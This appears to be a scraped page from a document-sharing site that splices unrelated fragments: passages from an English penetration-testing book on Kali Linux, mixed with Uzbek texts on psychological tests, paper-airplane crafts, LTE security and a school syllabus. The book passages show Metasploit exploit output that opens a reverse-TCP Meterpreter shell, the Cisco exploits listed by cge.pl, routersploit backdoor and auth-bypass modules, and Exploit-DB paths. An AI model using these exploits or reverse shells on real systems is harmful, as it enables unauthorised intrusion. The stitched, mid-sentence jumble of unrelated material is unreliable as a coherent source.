192.168.86.147:1099 - Local IP: http://192.168.86.21:8080/6XjLLZsheJ9
[
*
]
192.168.86.147:1099 - Server started.
[
*
]
192.168.86.147:1099 - Sending RMI Header...
[
*
]
192.168.86.147:1099 - Sending RMI Call...
[
*
]
192.168.86.147:1099
- Replied to request
for
payload JAR
[
*
]
Sending stage
(
53837
bytes
)
to 192.168.86.147
[
*
]
Meterpreter session
1
opened
(
192.168.86.21:4444 -> 192.168.86.147:36961
)
at
2018-01-24 21:13:26 -0700
You’ll see that in addition
to setting the remote host, I’ve set the local host (
LHOST
).
This is necessary for the payload. You may notice that the payload name includes
reverse_tcp
. This is because after the exploit, the payload runs and initiates a connec‐
tion back to the attacking system. This is why it’s
called
reverse
, because the connec‐
tion comes back to the attacker rather than the other way around. This is useful, if
not essential, because the reverse connection will get around firewalls that will usually
allow
connections outbound, especially if it happens over a well-known port. One of
the ports that is commonly used for these connections is 443. This is the SSL/TLS
port for encrypted web communications.
– guruh uchun tarqatma material

|
– guruh uchun tarqatma material Pdf ko'rish
|
bet | 109/180 | Sana | 14.05.2024 | Hajmi | 1,78 Mb. | | #231480 |
Bog'liq O‘zbekiston respublikasi oliy va o‘rta maxsus ta’lim vazirligi3 – guruh uchun tarqatma material.
Test metodi.
Test (ingliz tilidan olingan bo’lib sinash, tekshirish degan
ma’noni bildiradi) standartlashgan sinash topshiriqlari savollari to’plami orqali
psixologik xususiyatlar rivojlanishi yoki namoyon bo’lishini miqdori
darajalarini aniqlash vositasidir. Bu uslub vositasida kishilarning aqliy
rivojlanish darajasini, layoqat va qobiliyat rivojlanganlik darajasini, psixik
holatlarini (masalan, charchoqlik, faollik), shaxsning o’z-o’ziga bahosi,
emosional turg’unlik, intilish darajasi, temperamenti va shu kabi individual-
psixologik xususiyatlarini kasbga layoqati, bilim, malaka, ko’nikmalarning
shakllanganlik darajalarini aniqlash mumkin.
Test metodini qo’llashda testlarning puxta va mukammal tuzilganligiga
alohida e’tibor berish lozim. Chunki har qanday savollar va topshiriqlar to’plami
ham test emas. Haqiqiy test ilmiy asoslangan o’lchash vositasi sifatida tuzilish
jihatidan ma’lum ilmiy uslubiy qoidalarga bo’ysungan ishonchlilik hamda
yaroqlilik talablariga javob berishi lozim.
Testlar oxirgi paytda hayotimizga dadil kirib kelgan tekshiruv usullari
sirasiga kiradi. Ular yordamida biror o’rganilayotgan xodisa xususida ham sifat,
ham miqdor xarakteristikalarini olish, ularni ko’pchilikda qayta-qayta sinash va
ma’lumotlarni korrelyasion analiz orqali ishonchlilikka tekshirish mumkin
bo’ladi. Ayni testga qo’yilgan talab Hech qachon o’zgarmaydi, hattoki,
shunday testlar borki, ular turli millat va elat vakillarida, turli davrlarda ham
o’zgarmagan holda ishlatilaveradi. Masalan, Ravenning aqliy intellektni
o’lchash, Kettelning va Ayzenkning shaxs testlari shular jumlasidandir.
Testlar ichida
proyektiv testlar
deb nomlanuvchi testlar ham borki,
testning asl maqsadi tekshiriluvchiga sir bo’ladi. Ya’ni shunday topshiriq
beriladiki, tekshiriluvchi topshiriqni bajarayotib, nimani aniqlashi mumkinligini
bilmaydi. Masalan, mashhur Rorshaxning «siyoh dog’lari» testi, yoki TAT
(tematik appersepsion test), tugallanmagan hikoyalar kabi testlarda bir narsaning
proyeksiyasidan go’yoki ikkinchi bir narsaning mohiyati aniqlanadi. O’sha
1921 yilda kashf etilgan «siyoh dog’lari» va ularga qarab tekshiriluvchining
nimalarni eslayotganligi, dog’lar nimalarga o’xshayotganligiga qarab, uning
shaxs sifatidagi yo’nalishlari, hayotiy tamoyillari, qadriyatlariga munosabati,
ishni bajarish paytidagi emosional holatlari aniqlanadi. Bu testlar juda noyob,
qimmatli, lekin uni faqat professional psixologgina qo’llashi va natijalarni
mohirona tahlil qilishi talab qilinadi.
|
| |
topshiriq: Qog‘oz samolyotni

|
topshiriq: Qog‘oz samolyotni
|
bet | 31/95 | Sana | 29.11.2023 | Hajmi | 10,75 Mb. | | #107282 |
Bog'liq o\'quv qo\'llanmatopshiriq: Qog‘oz samolyotni tayyorlash.
Bu samolyotni yasash uchun o‘quvchiga rasm daftaridan bir varaq qog‘oz, shuningdek bir parcha tunuka, rezina, qaychi kerak bo‘ladi. O‘quvchiga quyidagicha topshiriq beriladi: eng avval 180x80 mm kattalikda to‘rt burchakli qog‘oz qirqing. Keyin uni uzunasiga ikki buklang, ya’ni 180x40 mm kattalikda ikkita to‘g‘ri burchakli to‘rtburchak yasang (rasm, a). SHu to‘rtburak ichida “b” rasmda ko‘rsatilgandek qilib, samolyotning tanasini chizing. Yuk sifatida samolyotning tumshug‘i oldiga 1x2 santimetrli tunukani o‘rtasidan ikki buklab biriktiring (rasm-1, v).
Boshqa qog‘ozdan samolyotning qanotini yasang-da (rasm, g), uni samolyot tanasiga o‘tkazib biriktiring (rasm, g). Tanasi tagidagi kesikka rezina iling-da, uni tortib turib, chap qo‘lingiz bilan ushlab turgan samolyot tanasini qo‘yib yuboring (rasm-1, d).
Agar samolyot uchmasa, uning yukini o‘zgartirish kerak. Agar yuk juda engil bo‘lsa, samolyot orqaga og‘ib ketadi. Agar juda og‘ir bo‘lsa, tumshug‘i bilan erga tushadi.
Rezinani velosipedning eski kamerasidan kesib olish mumkin.
Qog‘oz samolyot yaxlit (rasm-1, e) quyidagi ko‘rinishda bo‘ladi:
topshiriq: Yog‘och tanali samolyot tayorlash.
Samolyotning tanasini bir tomonga ingichkalashib borayotgan prizmaga o‘xshatib yog‘ochdan yo‘nib yasang (rasm-2, a). Pastidan ip
bog‘lash uchun ariqcha o‘ying (rasm-2, b). Qanoti va rulini rasm daftari qog‘ozidan yasash mumkin (rasm-2, v, g). Ularni yasab, tananing ustiga, o‘z o‘rniga qo‘ying-da, ip yoki ingichka rezinka bilan bog‘lang (rasm-2 d). Keyin samolyotni olg‘a qarab otib, uchirib yuboring (rasm-2, e). Agar samolyot tumshug‘i bilan erga tushsa, tanasining old tomoni og‘ir ekanligini ko‘rsatadi. Bu holda uni pichoq bilan yo‘nib, qaytadan uchirib ko‘rish kerak. Yog‘och samolyot quyidagi ko‘rinishda bo‘ladi (rasm-2, d).
Bunday ish turlari o‘quvchilarda texnik ijodkorlik, konstruktorlik, faraz qila olish, kuzatuvchanlik kabi ko‘nikmalarni shakllantirishga xizmat qiladi.
|
| |
| Chapter 4: Looking for Vulnerabilities

• Local vulnerabilities require someone to have some sort of authenticated access,
which may make them less critical to some people, but they are still essential to
remediate since they can be used to allow escalation of privileges.
• Network devices are also open to vulnerabilities
and can provide an attacker
access to alter traffic flows. Scanning for vulnerabilities in the network devices
can be done using OpenVAS or other specific tools, including those focused on
Cisco devices.
• Identifying vulnerabilities that don’t
exist can take some work, but tools like fuz‐
zers can be useful in triggering program crashes, which may be vulnerabilities.
Useful Resources
•
Open Web Application Security Project (OWASP) Fuzzing
• Mateusz Jurczyk’s
Black Hat slide deck,
“Effective File Format Fuzzing”
• Michael Sutton and Adam Greene’s Black Hat slide deck,
“The Art of File Format
Fuzzing”
• Hanno Böck’s
tutorial,
“Beginner’s Guide to Fuzzing”
• Deja vu Security’s tutorial,
“Tutorial: File Fuzzing”
Useful Resources | 147
CHAPTER 5
Automated Exploits
Vulnerability scanners provide a data set. They don’t provide a guarantee that the vul‐
nerability exists. They don’t even guarantee that what we find is the complete list of
vulnerabilities that may exist within an organization’s network. A scanner may return
incomplete results for many reasons. The first one is that network segments or sys‐
tems may be excluded from the scanning and information gathering. That’s
common
with performing some security testing. Another may be that the scanner has been
blocked from particular service ports. The scanner can’t get to those ports, and as a
result, it can’t make any determination about the potential
vulnerabilities that may
exist within that service.
The results from the vulnerability scanners we have used are just starting points. Test‐
ing to see whether they are exploitable provides not only veracity to the finding but
on top of that, you will be able to show executives what can be done as a result of that
vulnerability. Demonstrations are a powerful way of getting people’s
attention when it
comes to security concerns. This is especially true if the demonstration leads to a
clear path to destruction or compromise of information resources.
Exploiting vulnerabilities is a way to demonstrate that the vulnerabilities exist.
Exploits can cover a broad range of actions, though you may think that when we talk
about
exploits, we are talking about breaking into running programs and getting
some level of interactive access to a system. That’s not necessarily true. Sometimes, a
vulnerability is simply a weak password. This may give some access to a web interface
that has sensitive data. The vulnerability could be a weakness
that leads to a denial of
service, either of an entire system or just a single application. This means there are a
lot of ways we may run exploits. In this chapter, we’ll start to look at some of these
ways and the tools that are available in Kali.
| Chapter 5: Automated Exploits

Another program that is more directly used for exploitation is the Cisco Global
Exploiter (CGE) program. This Perl script can be used to launch known attacks
against targets. The script doesn’t randomly attempt attacks, and it’s also not there to
create new attacks.
cge.pl
has 14 attacks that will accomplish different outcomes.
There are also some denial-of-service attacks. A denial-of-service
attack will prevent
the Cisco devices from functioning properly. Some of them are focused on manage‐
ment protocols like Telnet or SSH. Other vulnerabilities may allow for remote code
execution.
Example 5-2
shows the list of vulnerabilities that
cge.pl
supports. The man‐
agement denial-of-service attacks will prevent management traffic from getting to the
device but won’t typically impair the core functionality of the device.
Example 5-2. Exploits available in cge.pl
root@yazpistachio:~# cge.pl
Usage :
perl cge.pl
Vulnerabilities list :
[
1
]
- Cisco 677/678 Telnet Buffer Overflow Vulnerability
[
2
]
- Cisco IOS Router Denial of Service Vulnerability
[
3
]
- Cisco IOS HTTP Auth Vulnerability
[
4
]
- Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
[
5
]
- Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
[
6
]
- Cisco
675
Web Administration Denial of Service Vulnerability
[
7
]
- Cisco Catalyst
3500
XL Remote Arbitrary Command Vulnerability
[
8
]
- Cisco IOS Software HTTP Request Denial of Service Vulnerability
[
9
]
- Cisco
514
UDP Flood Denial of Service Vulnerability
[
10
]
- CiscoSecure ACS
for
Windows NT Server Denial of Service Vulnerability
[
11
]
- Cisco Catalyst Memory Leak Vulnerability
[
12
]
- Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
[
13
]
-
0
Encoding IDS Bypass Vulnerability
(
UTF
)
[
14
]
- Cisco IOS HTTP Denial of Service Vulnerability
Other Devices
One utility to look at closely if you looking at smaller organizations is
routersploit
.
This program is a framework, taking the approach that additional modules can be
developed and added to the framework to continue to extend the functionality.
rou‐
tersploit
has exploits for some Cisco devices but also smaller devices like 3COM, Bel‐
kin, DLink, Huawei, and others. At the time of this writing,
routersploit
has 84
modules available for use. Not all of them are targeted at specific devices or vulnera‐
bilities. Some of the modules are credential attacks, allowing for brute-forcing of pro‐
tocols like SSH, Telnet, HTTP, and others.
Example 5-3
shows the use of one of the
brute-force modules. To get into the interface shown, we run
routersploit
from the
command line.
| Chapter 5: Automated Exploits

exploits/netgear/n300_auth_bypass
exploits/netgear/prosafe_rce
exploits/zte/f609_config_disclosure
exploits/zte/f460_f660_backdoor
exploits/zte/f6xx_default_root
exploits/zte/f660_config_disclosure
exploits/comtrend/ct_5361t_password_disclosure
exploits/thomson/twg849_info_disclosure
exploits/thomson/twg850_password_disclosure
exploits/asus/infosvr_backdoor_rce
exploits/asus/rt_n16_password_disclosure
As you can see, many smaller device manufacturers are targeted with exploits. The
different exploit modules listed have vulnerabilities associated with them. As an
example, the Comtrend module in the list has a
vulnerability announcement
associ‐
ated with it. If you want more details about the vulnerabilities
to get an idea of what
you may be able to accomplish by running the exploit, you can look up the exploit
listed and find the security
announcement providing details, including remediations,
for the vulnerability.
Exploit Database
When vulnerabilities
are discovered, a proof of concept may be developed that will
exploit it. Whereas the vulnerability is often announced in multiple places, such as
the Bugtraq
mailing list, the proof-of-concept code is generally stored at the
Exploit
Database website
. The site
itself is a great resource, with a lot of code you can learn
from if you want to better understand how exploits work. Because it’s a great
resource, the code from the website is available in Kali Linux.
All of the exploit source
code is available in
/usr/share/exploitdb
.
Example 5-5
shows a listing of the categories/
directories in
/usr/share/exploitdb
.
Example 5-5. Directory listing of exploits
root@yazpistachio:/usr/share/exploitdb/exploits# ls
aix freebsd linux_mips osx solaris_x86
android freebsd_x86 linux_sparc osx_ppc tru64
arm freebsd_x86-64 linux_x86 palm_os ultrix
ashx hardware linux_x86-64
perl unix
asp hp-ux macos php unixware
aspx immunix minix plan9 windows
atheos ios multiple python windows_x86
beos irix netbsd_x86 qnx windows_x86-64
bsd
java netware ruby xml
bsd_x86 json nodejs sco
cfm jsp novell solaris
cgi linux openbsd solaris_sparc
Nazorat savollari - Raqamli mobil aloqa

336
23-bob. LTE TARMOQLARIDA
XAVFSIZLIKKA TAHDIDLAR
23.1. Abonent uskunasi uchun tahdidlar
LTE tizimida tarmoqning turli elementlari hamda turli da-
rajalaridagi xavfsizlikka tahdidlar bo‘lishi mumkin. Masalan,
tahdidlar abonent uskunalari, ba’zaviy stansiyalar, MME tu-
gunlari, shuningdek umuman mobillikni boshqaruv tizimi-
ga nisbatan bo‘lishi mumkin. Quyida shular atroflicha ko‘rib
chiqiladi.
Mobil abonentning xalqaro identifikatori — IMSI
(ingl. Inter-
national Mobile Subscriber Identity) xalqaro davlat identifikatsiya
kodi
— MCC
(ingl. Mobile Country Code), operator tarmog‘i kodi
— MNC
(ingl. Mobile Network Code) va mobil abonent identi-
fikatori — MSIN
(ingl. Mobile Subscriber Identfication Number)
lardan iborat. IMSIning umumiy uzunligini 15 ta raqamni tashkil
qiladi, ulardan 3 tasi MSSga va foydalanish joyiga qarab, 2 yoki 3
ta raqam MNSga ajratiladi.
Qolgan raqamlar MSINga aloqador. Abonent tarmoqqa himoya-
langan holda ulanishi uchun u o‘z IMSIni jo‘natishi kerak. Biroq
IMSIni o‘zi ochiq ravishda yuboriladi, va shundan kelib chiqadi-
ki, ushbu identifikatorni ilib olish va keyingi hujumlar maq sadida
yoki abonentning harakatlari va foydalanayotgan xizmatlari haqi-
da analitik axborotni yig‘ish uchun ishlatish mumkin.
Bu tahdidni oldini olish uchun AU ishonchsiz tarmoqlar-
ga ochiq IMSIning uzatilishini nazorat qilish imkoniyatiga ega
bo‘lish kerak. Bunga umumiy yoki simmetrik kalit bilan shifrlash-
ni qo‘llash hisobiga erishish mumkin.
Working with Metasploit Modules

using those two to get started. The first thing we need to do is locate a module. To
find one, we use
search
. You can search for operating systems,
applications, module
types, or for words in the description. Once you locate a module, you will see it repre‐
sented as though it were a file in a directory hierarchy. This is because ultimately,
that’s exactly what it is. All of the modules are stored as Ruby files in the directory
hierarchy you will see. To load the module and use it, we use the
use
command. You
can
see loading up a module in
. This was done after searching for a
scanner and selecting one. Once the module is loaded, I showed the options so you
can see what needs to be set before running it.
Example 5-11. Options for scanner module
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary
(
scanner/smb/smb_version
)
>
show options
Module options
(
auxiliary/scanner/smb/smb_version
)
:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use
for
authentication
SMBPass
no The password
for
the specified username
SMBUser no The username to authenticate as
THREADS
1
yes The number of concurrent threads
This module is simple. The only thing that we have to set is the remote hosts variable,
called
RHOSTS
. You can see this is required, but it also has no default value. You
would
need to provide an IP address, a range of addresses, or a CIDR block. The only
other variable that needs to be set is
THREADS
, which is the number of processing
threads that will be allocated to this module. There is a default for this setting, though
if
you want the scan to go faster, you can increase the number of threads to send out
more messages at the same time.
While you can use just a search string with applications or operat‐
ing systems, Metasploit also uses keywords to get targeted respon‐
ses. To narrow your search results, you can use the following
keywords:
app, author, bid, cve, edb, name, platform, ref,
and
type
.
bid
is a Bugtraq ID,
cve
is a Common Vulnerabilities and Exposures
number,
edb
is
an Exploit-DB identifier, and
type
is the type of
module (exploit, auxiliary, or post). To use one of these, you follow
the keyword with a colon and then the value. You don’t have to use
entire strings. You could use
cve:2017
,
for instance, to look for CVE
values that include 2017, which should be all of the CVEs from the
year 2017.
-rasm - Raqamli mobil aloqa

22.1-rasm. Dunyoning turli hududlarida LTE tarmoqlarini
qurish uchun BRK-07 aniqlagan chastotalar polosalari.
327
Shuni quvonch bilan ta’kidlashimiz mumkinki, O‘zbekiston
LTE tarmog‘ini tijorat maqsadida ishga tushirgan MDHdagi bi-
rinchi va dunyodagi uchinchi davlat bo‘ldi. 2010-yil 28-iyulda
mamlakatda birinchi LTE tarmog‘ini ishga tushirganligini haqi-
da “MTS-O‘zbekiston” kompaniyasi xabar qildi. Dastlab tar-
moq 2600MGs diapazonidagi polosadan foydalanadi, keyinchalik
700MGs va 800MGs diapazonlaridagi polosalardan foydalanish
ko‘zda tutilgan. “MTS-O‘zbekiston” tarmog‘i 100Mbit/sek ga-
cha tezlikda ma’lumot uzatish xizmatlarini taqdim etish uchun
mo‘ljallangan. Kompaniya 2015-yilga kelib butun O‘zbekis-
ton bo‘ylab tarmoq qamrovini tarqatishni rejalashtirilgan. Tizim
uskunalarini Xitoyning Huawei Technologies kompaniyasi yetka-
zib berdi.
Kechroq, 2010-yil 29-avgustida O‘zbekistonning ikkinchi opera-
tori — Ucell kompaniyasi o‘zining LTE tarmog‘ini ishga tushirgan-
ligi haqida rasmiy e’lon qildi. U ham 100Mbit/sek gacha tezlikda
mobil keng polosali ulanish xizmatlarini taqdim etishini ma’lum qil-
di. Tarmoq 2,6GGs chastota diapazonida qurilmoqda va keyincha-
lik 700MGs diapazonida ham polosalar olish ko‘zda tutilgan. Ucell
kompaniyasi LTE tarmog‘ini jahonda birinchi bo‘lib 2009-yilning
dekabrida Stokgolm (Shvetsiya) va Oslo (Norvegiya) shaharlarida
ishga tushirgan Telia Sonera korporatsiyasining “qiz” kompani-
yalaridan biri hisoblanadi. O‘zbekistonda Ucell kompaniyasi uchun
tayanch uskunalarni Xitoyning ZTE korporatsiyasi yetkazib berdi.
22.2. Raqamli dividend
Raqamli yer sirti uzatish xizmatini 174—230MGs va 470—
862MGs polosalarida rejalashtirish bo‘yicha Regional bitimga
(“Jeneva-06 rejasi”) va unga bog‘liq raqamli va analog rejalarga
muvofiq O‘zbekiston quyidagi ajratishlarga ega:
• “Jeneva-06” rejasining raqamli qismi hisoblangan raqamli
TV uchun 817 ta chastota ajratishlar, shu jumladan, diapazonlar
bo‘yicha:
|
Qoniqarsiz bahoga - Konimex tuman kasb-hunar maktabi "tasdiqlayman"

Qoniqarsiz bahoga:
savolga javobning uchdan bir qismi to‘g‘ri yoki umuman yozilmagan bo‘lsa;
javob noto‘g‘ri bo‘lsa;
javobda noaniqlik, mantiqiy va ilmiy xatoliklar bo‘lsa;
orfografik va grammatik xatoliklar ko‘p bo‘lsa;
O’ZBEKISTON RESPUBLIKASI OLIY VA O’RTA MAXSUS TA’LIM VAZIRLIGI
NAVOIY VILOYATI KASBIY TA’LIMNI RIVOJLANTIRISH VA MUVOFIQLASHTIRISH
BOSHQARMASI
KONIMEX TUMAN
KASB-HUNAR MAKTABI
“TASDIQLAYMAN”
Konimex tuman kasb-hunar maktabi
direktori: A.X.Xudayberdiyev
“__”__________2020 yil
RASTR GRAFIKASI MAXSUS FANIDAN
TAQVIMIY-MAVZULAR REJASI
Tayyorlov yo’nalishi va kasbi: Kompyuter grafikasi va dizayn operatori
Pedagogik kengashining 202 - yildagi “ ” - sonli yig’ilishida o’quv
jarayoniga qo’llashga tavsiya etildi.
O’qitish materiallari to’plamini kafedrasining 202 - yildagi -sonli
yig’ilishida muhokama etildi va ma’qullandi.
Kafedra mudiri: U.A.Alimbaeva
O’qituvchi: O.S. Erganasova
|
Mavzular nomi
|
Jami
|
O’qitishning tashkiliy shakli
|
Mustaqil ta’lim
|
O’quvchilarnig bilim va ko’nikmalarini
baholash
|
Guruh va sana
|
| |
|